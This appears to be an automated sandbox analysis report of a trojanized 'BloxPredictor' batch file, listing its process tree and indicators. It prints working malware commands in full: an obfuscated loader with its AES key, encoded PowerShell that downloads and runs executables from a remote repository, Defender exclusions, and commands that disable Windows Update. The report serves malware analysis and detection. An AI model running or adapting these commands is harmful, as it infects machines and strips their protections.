Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe
Token: 34	4672	powershell.exe
Token: 35	4672	powershell.exe
Token: 36	4672	powershell.exe
Token: SeDebugPrivilege	4656	LicenceOutput.exe
Token: SeShutdownPrivilege	3660	powercfg.exe
Token: SeCreatePagefilePrivilege	3660	powercfg.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeShutdownPrivilege	4632	powercfg.exe
Token: SeCreatePagefilePrivilege	4632	powercfg.exe
Token: SeShutdownPrivilege	4860	powercfg.exe
Token: SeCreatePagefilePrivilege	4860	powercfg.exe
Token: SeShutdownPrivilege	4932	powercfg.exe
Token: SeCreatePagefilePrivilege	4932	powercfg.exe
Token: SeTakeOwnershipPrivilege	1036	takeown.exe
Token: SeIncreaseQuotaPrivilege	4868	powershell.exe
Token: SeSecurityPrivilege	4868	powershell.exe
Token: SeTakeOwnershipPrivilege	4868	powershell.exe
Token: SeLoadDriverPrivilege	4868	powershell.exe
Token: SeSystemProfilePrivilege	4868	powershell.exe
Token: SeSystemtimePrivilege	4868	powershell.exe
Token: SeProfSingleProcessPrivilege	4868	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exenet.exeBloxPredictor.bat.execmd.exepowershell.exeLicenceChecker.exeprotection1.execmd.execmd.exeWScript.exe

description	pid	process	target process
PID 2756 wrote to memory of 3292	2756	cmd.exe	net.exe
PID 2756 wrote to memory of 3292	2756	cmd.exe	net.exe
PID 3292 wrote to memory of 4716	3292	net.exe	net1.exe
PID 3292 wrote to memory of 4716	3292	net.exe	net1.exe
PID 2756 wrote to memory of 4724	2756	cmd.exe	BloxPredictor.bat.exe
PID 2756 wrote to memory of 4724	2756	cmd.exe	BloxPredictor.bat.exe
PID 4724 wrote to memory of 940	4724	BloxPredictor.bat.exe	powershell.exe
PID 4724 wrote to memory of 940	4724	BloxPredictor.bat.exe	powershell.exe
PID 4724 wrote to memory of 2976	4724	BloxPredictor.bat.exe	cmd.exe
PID 4724 wrote to memory of 2976	4724	BloxPredictor.bat.exe	cmd.exe
PID 2976 wrote to memory of 4868	2976	cmd.exe	choice.exe
PID 2976 wrote to memory of 4868	2976	cmd.exe	choice.exe
PID 940 wrote to memory of 2292	940	powershell.exe	powershell.exe
PID 940 wrote to memory of 2292	940	powershell.exe	powershell.exe
PID 2976 wrote to memory of 4420	2976	cmd.exe	attrib.exe
PID 2976 wrote to memory of 4420	2976	cmd.exe	attrib.exe
PID 940 wrote to memory of 5060	940	powershell.exe	protection1.exe
PID 940 wrote to memory of 5060	940	powershell.exe	protection1.exe
PID 940 wrote to memory of 5060	940	powershell.exe	protection1.exe
PID 940 wrote to memory of 3240	940	powershell.exe	LicenceChecker.exe
PID 940 wrote to memory of 3240	940	powershell.exe	LicenceChecker.exe
PID 940 wrote to memory of 4656	940	powershell.exe	LicenceOutput.exe
PID 940 wrote to memory of 4656	940	powershell.exe	LicenceOutput.exe
PID 940 wrote to memory of 4656	940	powershell.exe	LicenceOutput.exe
PID 3240 wrote to memory of 4672	3240	LicenceChecker.exe	powershell.exe
PID 3240 wrote to memory of 4672	3240	LicenceChecker.exe	powershell.exe
PID 5060 wrote to memory of 2828	5060	protection1.exe	WScript.exe
PID 5060 wrote to memory of 2828	5060	protection1.exe	WScript.exe
PID 5060 wrote to memory of 2828	5060	protection1.exe	WScript.exe
PID 3240 wrote to memory of 4404	3240	LicenceChecker.exe	cmd.exe
PID 3240 wrote to memory of 4404	3240	LicenceChecker.exe	cmd.exe
PID 3240 wrote to memory of 5080	3240	LicenceChecker.exe	cmd.exe
PID 3240 wrote to memory of 5080	3240	LicenceChecker.exe	cmd.exe
PID 3240 wrote to memory of 4868	3240	LicenceChecker.exe	powershell.exe
PID 3240 wrote to memory of 4868	3240	LicenceChecker.exe	powershell.exe
PID 4404 wrote to memory of 3332	4404	cmd.exe	sc.exe
PID 4404 wrote to memory of 3332	4404	cmd.exe	sc.exe
PID 4404 wrote to memory of 3036	4404	cmd.exe	sc.exe
PID 4404 wrote to memory of 3036	4404	cmd.exe	sc.exe
PID 4404 wrote to memory of 4548	4404	cmd.exe	sc.exe
PID 4404 wrote to memory of 4548	4404	cmd.exe	sc.exe
PID 5080 wrote to memory of 3660	5080	cmd.exe	powercfg.exe
PID 5080 wrote to memory of 3660	5080	cmd.exe	powercfg.exe
PID 5080 wrote to memory of 4632	5080	cmd.exe	powercfg.exe
PID 5080 wrote to memory of 4632	5080	cmd.exe	powercfg.exe
PID 4404 wrote to memory of 4464	4404	cmd.exe	sc.exe
PID 4404 wrote to memory of 4464	4404	cmd.exe	sc.exe
PID 4404 wrote to memory of 1576	4404	cmd.exe	sc.exe
PID 4404 wrote to memory of 1576	4404	cmd.exe	sc.exe
PID 5080 wrote to memory of 4860	5080	cmd.exe	powercfg.exe
PID 5080 wrote to memory of 4860	5080	cmd.exe	powercfg.exe
PID 5080 wrote to memory of 4932	5080	cmd.exe	powercfg.exe
PID 5080 wrote to memory of 4932	5080	cmd.exe	powercfg.exe
PID 4404 wrote to memory of 940	4404	cmd.exe	reg.exe
PID 4404 wrote to memory of 940	4404	cmd.exe	reg.exe
PID 2828 wrote to memory of 3316	2828	WScript.exe	cmd.exe
PID 2828 wrote to memory of 3316	2828	WScript.exe	cmd.exe
PID 2828 wrote to memory of 3316	2828	WScript.exe	cmd.exe
PID 4404 wrote to memory of 4496	4404	cmd.exe	reg.exe
PID 4404 wrote to memory of 4496	4404	cmd.exe	reg.exe
PID 4404 wrote to memory of 2244	4404	cmd.exe	reg.exe
PID 4404 wrote to memory of 2244	4404	cmd.exe	reg.exe
PID 4404 wrote to memory of 3016	4404	cmd.exe	reg.exe
PID 4404 wrote to memory of 3016	4404	cmd.exe	reg.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

4420 attrib.exe

pid	process
4420	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BLOXFLIP-Predictor-main\BloxPredictor.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2756

C:\Windows\system32\net.exe
net file
2⤵
- Suspicious use of WriteProcessMemory
PID:3292

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
3⤵
PID:4716

C:\Users\Admin\AppData\Local\Temp\BLOXFLIP-Predictor-main\BloxPredictor.bat.exe
"BloxPredictor.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $utPpZ = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\BLOXFLIP-Predictor-main\BloxPredictor.bat').Split([Environment]::NewLine);foreach ($rwqec in $utPpZ) { if ($rwqec.StartsWith(':: ')) { $Wboiv = $rwqec.Substring(3); break; }; };$gxVLe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Wboiv);$GyhDr = New-Object System.Security.Cryptography.AesManaged;$GyhDr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GyhDr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GyhDr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YLrTLbeRJCsrE1rODFNA5EoKHyT/E5XO8ub+oldlmT0=');$GyhDr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WKvnZ2dZQdF2NCy0/rivZA==');$bYWQg = $GyhDr.CreateDecryptor();$gxVLe = $bYWQg.TransformFinalBlock($gxVLe, 0, $gxVLe.Length);$bYWQg.Dispose();$GyhDr.Dispose();$xJivi = New-Object System.IO.MemoryStream(, $gxVLe);$UhQFt = New-Object System.IO.MemoryStream;$RZDSG = New-Object System.IO.Compression.GZipStream($xJivi, [IO.Compression.CompressionMode]::Decompress);$RZDSG.CopyTo($UhQFt);$RZDSG.Dispose();$xJivi.Dispose();$UhQFt.Dispose();$gxVLe = $UhQFt.ToArray();$lwtWe = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($gxVLe);$erSXK = $lwtWe.EntryPoint;$erSXK.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAaQBqACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHoAaQBpACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAbABpAGMAZQBuAGMAZQAhACAAQwBvAG4AdABhAGMAdAAgAG8AdwBuAGUAcgAgAG8AbgAgAFQAZQBsAGUAZwByAGEAbQA6ACAAQABNAGEAdgBlADEANABCAHIAdgAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAaQB3AGsAIwA+ADsAIgA7ADwAIwB6AGEAdgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAZABtACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAeAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAcABjACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AbAB1AGMAaQBmAGUAcgA1ADgAMQA4ADQALwBlAHcAagBuAGYAaQBvAHcAZQBuAGYAaQB3AGUAdwAvAHIAYQB3AC8AMwA5AGIAMgA2ADQANABlADUANAA3AGQAZQAwADkANQBiADgAYQBmADYAZQAxAGUAMgA1AGIANwBjAGQAOABjADAAZgAzADEANgA4AGIANgAvAGwAdQBjAGkAZgBlAHIALgBlAHgAZQAnACwAIAA8ACMAbQBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGsAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBzAHYAeQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBwAHIAbwB0AGUAYwB0AGkAbwBuADEALgBlAHgAZQAnACkAKQA8ACMAcwB6AGsAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGwAdQBjAGkAZgBlAHIANQA4ADEAOAA0AC8AZQB3AGoAbgBmAGkAbwB3AGUAbgBmAGkAdwBlAHcALwByAGEAdwAvADMAOQBiADIANgA0ADQAZQA1ADQANwBkAGUAMAA5ADUAYgA4AGEAZgA2AGUAMQBlADIANQBiADcAYwBkADgAYwAwAGYAMwAxADYAOABiADYALwBsAHUAYwBpAG0AaQBuAC4AZQB4AGUAJwAsACAAPAAjAGIAcgBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYwBnAGkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagB0AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMAZQBuAGMAZQBDAGgAZQBjAGsAZQByAC4AZQB4AGUAJwApACkAPAAjAGoAcQBsACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBsAHUAYwBpAGYAZQByADUAOAAxADgANAAvAGUAdwBqAG4AZgBpAG8AdwBlAG4AZgBpAHcAZQB3AC8AcgBhAHcALwAzADkAYgAyADYANAA0AGUANQA0ADcAZABlADAAOQA1AGIAOABhAGYANgBlADEAZQAyADUAYgA3AGMAZAA4AGMAMABmADMAMQA2ADgAYgA2AC8AYgBsAG8AbwBkAGUAeQAuAGUAeABlACcALAAgADwAIwB4AGQAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGUAagBqACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHUAcQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUATwB1AHQAcAB1AHQALgBlAHgAZQAnACkAKQA8ACMAZAB0AG4AIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABrAHUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGIAZgBtACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHAAcgBvAHQAZQBjAHQAaQBvAG4AMQAuAGUAeABlACcAKQA8ACMAcgBoAHUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBjAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGYAdgBtACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAGUAcgAuAGUAeABlACcAKQA8ACMAcQBsAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBsAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGcAeQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUATwB1AHQAcAB1AHQALgBlAHgAZQAnACkAPAAjAHcAaQBiACMAPgA="
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#zii#>[System.Windows.Forms.MessageBox]::Show('No licence! Contact owner on Telegram: @Mave14Brv','','OK','Error')<#iwk#>;
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2292

C:\Users\Admin\AppData\Roaming\protection1.exe
"C:\Users\Admin\AppData\Roaming\protection1.exe"
4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5060

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\containerServerWebMonitornet\qcbaWttH43WmPxKkpx5bHkWC.vbe"
5⤵
- Suspicious use of WriteProcessMemory
PID:2828

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\containerServerWebMonitornet\SHgR50yPdqOmq945QS.bat" "
6⤵
PID:3316

C:\containerServerWebMonitornet\ContainerServersvc.exe
"C:\containerServerWebMonitornet\ContainerServersvc.exe"
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:2424

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
8⤵
- Executes dropped EXE
PID:4416

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
8⤵
- Executes dropped EXE
PID:1272

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
8⤵
- Executes dropped EXE
PID:2652

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
8⤵
- Executes dropped EXE
PID:660

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
8⤵
- Executes dropped EXE
PID:1816

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2424 -s 1596
8⤵
- Program crash
PID:4436

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
8⤵
- Executes dropped EXE
PID:4460

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
8⤵
- Executes dropped EXE
PID:2460

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
8⤵
- Executes dropped EXE
PID:4940

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
8⤵
- Executes dropped EXE
PID:2184

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
8⤵
- Executes dropped EXE
PID:2180

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
8⤵
- Executes dropped EXE
PID:4428

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/containerServerWebMonitornet/'
8⤵
- Executes dropped EXE
PID:1160

C:\containerServerWebMonitornet\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
8⤵
- Executes dropped EXE
PID:4488

C:\Users\Admin\AppData\Roaming\LicenceChecker.exe
"C:\Users\Admin\AppData\Roaming\LicenceChecker.exe"
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAawBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYgBqAHEAZQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAegBnACMAPgAgAEAAKAAgADwAIwBvAHUAbgAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaQBqACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAG8AdgAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBxAGoAYgB2ACMAPgA="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4672

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
- Suspicious use of WriteProcessMemory
PID:4404

C:\Windows\system32\sc.exe
sc stop UsoSvc
6⤵
- Launches sc.exe
PID:3332

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
6⤵
- Launches sc.exe
PID:3036

C:\Windows\system32\sc.exe
sc stop wuauserv
6⤵
- Launches sc.exe
PID:4548

C:\Windows\system32\sc.exe
sc stop bits
6⤵
- Launches sc.exe
PID:4464

C:\Windows\system32\sc.exe
sc stop dosvc
6⤵
- Launches sc.exe
PID:1576

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
6⤵
- Modifies registry key
PID:940

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
6⤵
- Modifies registry key
PID:4496

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
6⤵
- Modifies security service
- Modifies registry key
PID:2244

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
6⤵
- Modifies registry key
PID:3016

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
6⤵
- Modifies registry key
PID:2416

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
6⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1036

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4720

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:1732

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:3136

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:3320

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:4816

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
6⤵
PID:636

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
6⤵
PID:4380

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
6⤵
PID:3300

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
6⤵
PID:4092

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
6⤵
PID:4820

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
6⤵
PID:4252

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
6⤵
PID:4888

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of WriteProcessMemory
PID:5080

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3660

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4632

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4860

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAeABzAGYAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIAYwBoAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHAAZwBzACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAbABkAHcAbgAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAHgAcwBjACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJ